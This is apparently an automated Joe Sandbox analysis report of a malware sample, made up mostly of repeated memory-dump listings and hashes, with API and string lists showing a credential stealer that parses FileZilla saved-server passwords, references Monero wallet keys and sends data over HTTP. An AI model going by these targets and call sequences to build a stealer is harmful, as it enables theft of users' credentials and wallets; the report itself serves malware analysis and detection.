Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f08371af12ffa20327b955e8c35cf763c485f360f87b4f480567c4a88087d54
Instruction ID: 07eaea956dd5c82bd17557d9a79f1378ac3c03759e73b29a3a55e4de70e24fa8
Opcode Fuzzy Hash: 2f08371af12ffa20327b955e8c35cf763c485f360f87b4f480567c4a88087d54
Instruction Fuzzy Hash: 8D5122F390C610DBD3096A28DC456FBB7E5EF94310F26453EEAC667204EA79180197C3

Function 00DC3C5D Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ccc0953099c1517eb13cde843ae43c55e3ce36000d44f17b1f31de48788023b
Instruction ID: 88aeb6cfbd523619e40827c34012a103ab4859502716eba1f2bb0cd09588ac3c
Opcode Fuzzy Hash: 0ccc0953099c1517eb13cde843ae43c55e3ce36000d44f17b1f31de48788023b
Instruction Fuzzy Hash: 085136F3A086049BF3086A29EC4577BB7DAEFD0310F1AC93DE78543B84E93959118686

Function 00EBB156 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8e4edd508ca09280baecad12bf104fe44bf3b33e641d252f7b3d302b6d22159
Instruction ID: 487723a61457aa2da1fddc1a839b395e84a0d062444919b408760bcd8d0993e1
Opcode Fuzzy Hash: a8e4edd508ca09280baecad12bf104fe44bf3b33e641d252f7b3d302b6d22159
Instruction Fuzzy Hash: 5741AFF250C604DFD3056E69D8956FFBBE5EF94310F22582DD2C6A3220E7B18451AB47

Function 00CE3260 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eeec325ac6c28a8c40c9422e162ffda2cef9e6ea71b0a083dd647c12b3506d21
Instruction ID: 578c3c67f81225ee82d204ee48a5e0b73b632e94640cd99493dca0af0994eb2e
Opcode Fuzzy Hash: eeec325ac6c28a8c40c9422e162ffda2cef9e6ea71b0a083dd647c12b3506d21
Instruction Fuzzy Hash: 98313CF3E082149BE318AE28DC8077AF3D6EB94310F1B853DDDC957780E93A5C048686

Function 00EB5802 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcf72001bcc0294d79660362d40fdbcf7868808b16175e029baed0ef1a8ff3bb
Instruction ID: a171c051aa09555ff943b03df382748667d5126b70ac9aed423f9615e6968060
Opcode Fuzzy Hash: fcf72001bcc0294d79660362d40fdbcf7868808b16175e029baed0ef1a8ff3bb
Instruction Fuzzy Hash: B4217FB251C304AFE315FF69DC82BBABBE5EB58360F05892DE6D4C2640E63594008A97

Function 00D4F413 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8baa0a6659c27ea7f487980db080c79c99acbffbdb36184f1c9a6deb47162a1d
Instruction ID: 966e5d0c91bf6b6ec0902002bef9e2c784f855ca0b7e6b3abf953d5917d33d48
Opcode Fuzzy Hash: 8baa0a6659c27ea7f487980db080c79c99acbffbdb36184f1c9a6deb47162a1d
Instruction Fuzzy Hash: 6E1127B3FA051947F7484829DD4479B658397D4324F2FC9388A89977C9E8BEE84A1284

Function 00A59750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00A50250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

Part of subcall function 00A58DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00A58E0B

Part of subcall function 00A5A920: lstrcpy.KERNEL32(00000000,?), ref: 00A5A972
Part of subcall function 00A5A920: lstrcat.KERNEL32(00000000), ref: 00A5A982

Part of subcall function 00A5A8A0: lstrcpy.KERNEL32(?,00A60E17), ref: 00A5A905

Part of subcall function 00A5A9B0: lstrlen.KERNEL32(?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A5A9C5
Part of subcall function 00A5A9B0: lstrcpy.KERNEL32(00000000), ref: 00A5AA04
Part of subcall function 00A5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A5AA12

Part of subcall function 00A5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A5A7E6

Part of subcall function 00A499C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00A499EC
Part of subcall function 00A499C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00A49A11
Part of subcall function 00A499C0: LocalAlloc.KERNEL32(00000040,?), ref: 00A49A31
Part of subcall function 00A499C0: ReadFile.KERNEL32(000000FF,?,00000000,00A4148F,00000000), ref: 00A49A5A
Part of subcall function 00A499C0: LocalFree.KERNEL32(00A4148F), ref: 00A49A90
Part of subcall function 00A499C0: CloseHandle.KERNEL32(000000FF), ref: 00A49A9A

Part of subcall function 00A58E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00A58E52

GetProcessHeap.KERNEL32(00000000,000F423F,00A60DBA,00A60DB7,00A60DB6,00A60DB3), ref: 00A50362
RtlAllocateHeap.NTDLL(00000000), ref: 00A50369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00A50385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A60DB2), ref: 00A50393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00A503CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A60DB2), ref: 00A503DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00A50419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A60DB2), ref: 00A50427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00A50463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A60DB2), ref: 00A50475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A60DB2), ref: 00A50502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A60DB2), ref: 00A5051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A60DB2), ref: 00A50532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A60DB2), ref: 00A5054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00A50562
lstrcat.KERNEL32(?,profile: null), ref: 00A50571
lstrcat.KERNEL32(?,url: ), ref: 00A50580
lstrcat.KERNEL32(?,00000000), ref: 00A50593
lstrcat.KERNEL32(?,00A61678), ref: 00A505A2
lstrcat.KERNEL32(?,00000000), ref: 00A505B5
lstrcat.KERNEL32(?,00A6167C), ref: 00A505C4
lstrcat.KERNEL32(?,login: ), ref: 00A505D3
lstrcat.KERNEL32(?,00000000), ref: 00A505E6
lstrcat.KERNEL32(?,00A61688), ref: 00A505F5
lstrcat.KERNEL32(?,password: ), ref: 00A50604
lstrcat.KERNEL32(?,00000000), ref: 00A50617
lstrcat.KERNEL32(?,00A61698), ref: 00A50626
lstrcat.KERNEL32(?,00A6169C), ref: 00A50635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A60DB2), ref: 00A5068E

Strings

<Pass encoding="base64">, xrefs: 00A5045A
url: , xrefs: 00A50577
<User>, xrefs: 00A50410
login: , xrefs: 00A505CA
<Host>, xrefs: 00A5037C
browser: FileZilla, xrefs: 00A50559
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00A502A4
profile: null, xrefs: 00A50568
password: , xrefs: 00A505FB
<Port>, xrefs: 00A503C6

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 9af844053a8bd21da32b882b02ec9f38b9d7944c4b8520f0cbb0649da9249352
Instruction ID: 95d9bec30c8bf67e7bd831f126e2bf4f530d225f62d70d0a33f51c3843bcce3b
Opcode Fuzzy Hash: 9af844053a8bd21da32b882b02ec9f38b9d7944c4b8520f0cbb0649da9249352
Instruction Fuzzy Hash: 1AD15375A00108ABDB04EBF0DE96EEE7778FF24301F544519F902B6191EF74AA0ACB65

Function 00A45960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A5A7E6

Part of subcall function 00A447B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00A44839
Part of subcall function 00A447B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00A44849

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00A459F8
StrCmpCA.SHLWAPI(?,0160E9B0), ref: 00A45A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00A45B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0160E9E0,00000000,?,0160AAB8,00000000,?,00A61A1C), ref: 00A45E71
lstrlen.KERNEL32(00000000), ref: 00A45E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00A45E93
RtlAllocateHeap.NTDLL(00000000), ref: 00A45E9A
lstrlen.KERNEL32(00000000), ref: 00A45EAF
lstrlen.KERNEL32(00000000), ref: 00A45ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00A45EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00A45F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00A45F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00A45F4C
InternetCloseHandle.WININET(00000000), ref: 00A45FB0
InternetCloseHandle.WININET(00000000), ref: 00A45FBD
HttpOpenRequestA.WININET(00000000,0160EB70,?,0160E578,00000000,00000000,00400100,00000000), ref: 00A45BF8

Part of subcall function 00A5A9B0: lstrlen.KERNEL32(?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A5A9C5
Part of subcall function 00A5A9B0: lstrcpy.KERNEL32(00000000), ref: 00A5AA04
Part of subcall function 00A5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A5AA12

Part of subcall function 00A5A8A0: lstrcpy.KERNEL32(?,00A60E17), ref: 00A5A905

Part of subcall function 00A5A920: lstrcpy.KERNEL32(00000000,?), ref: 00A5A972
Part of subcall function 00A5A920: lstrcat.KERNEL32(00000000), ref: 00A5A982

InternetCloseHandle.WININET(00000000), ref: 00A45FC7

Strings

------, xrefs: 00A45C0B
", xrefs: 00A45E16
------, xrefs: 00A45D4C
------, xrefs: 00A45A96
", xrefs: 00A45CD5

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 9f5081046a23e3f0aaf2e44d3cb3927d657301d125e52a8c4e8da405a4a9e903
Instruction ID: eb489b15b6f8048cfd3f71d54996dc421629836a3314f92ee02c04078b7d464f
Opcode Fuzzy Hash: 9f5081046a23e3f0aaf2e44d3cb3927d657301d125e52a8c4e8da405a4a9e903
Instruction Fuzzy Hash: 58121072A20128EBDB15EBA0DD95FEEB378BF64701F404299F50662091EF702A4DCF65

Function 00A4CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

Part of subcall function 00A5A9B0: lstrlen.KERNEL32(?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A5A9C5
Part of subcall function 00A5A9B0: lstrcpy.KERNEL32(00000000), ref: 00A5AA04
Part of subcall function 00A5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A5AA12

Part of subcall function 00A5A8A0: lstrcpy.KERNEL32(?,00A60E17), ref: 00A5A905

Part of subcall function 00A58B60: GetSystemTime.KERNEL32(00A60E1A,0160A9C8,00A605AE,?,?,00A413F9,?,0000001A,00A60E1A,00000000,?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A58B86

Part of subcall function 00A5A920: lstrcpy.KERNEL32(00000000,?), ref: 00A5A972
Part of subcall function 00A5A920: lstrcat.KERNEL32(00000000), ref: 00A5A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00A4CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00A4D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00A4D0CE
lstrcat.KERNEL32(?,00000000), ref: 00A4D208
lstrcat.KERNEL32(?,00A61478), ref: 00A4D217
lstrcat.KERNEL32(?,00000000), ref: 00A4D22A
lstrcat.KERNEL32(?,00A6147C), ref: 00A4D239
lstrcat.KERNEL32(?,00000000), ref: 00A4D24C
lstrcat.KERNEL32(?,00A61480), ref: 00A4D25B
lstrcat.KERNEL32(?,00000000), ref: 00A4D26E
lstrcat.KERNEL32(?,00A61484), ref: 00A4D27D
lstrcat.KERNEL32(?,00000000), ref: 00A4D290
lstrcat.KERNEL32(?,00A61488), ref: 00A4D29F
lstrcat.KERNEL32(?,00000000), ref: 00A4D2B2
lstrcat.KERNEL32(?,00A6148C), ref: 00A4D2C1
lstrcat.KERNEL32(?,00000000), ref: 00A4D2D4
lstrcat.KERNEL32(?,00A61490), ref: 00A4D2E3

Part of subcall function 00A5A820: lstrlen.KERNEL32(00A44F05,?,?,00A44F05,00A60DDE), ref: 00A5A82B
Part of subcall function 00A5A820: lstrcpy.KERNEL32(00A60DDE,00000000), ref: 00A5A885

lstrlen.KERNEL32(?), ref: 00A4D32A
lstrlen.KERNEL32(?), ref: 00A4D339

Part of subcall function 00A5AA70: StrCmpCA.SHLWAPI(01609038,00A4A7A7,?,00A4A7A7,01609038), ref: 00A5AA8F

DeleteFileA.KERNEL32(00000000), ref: 00A4D3B4

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
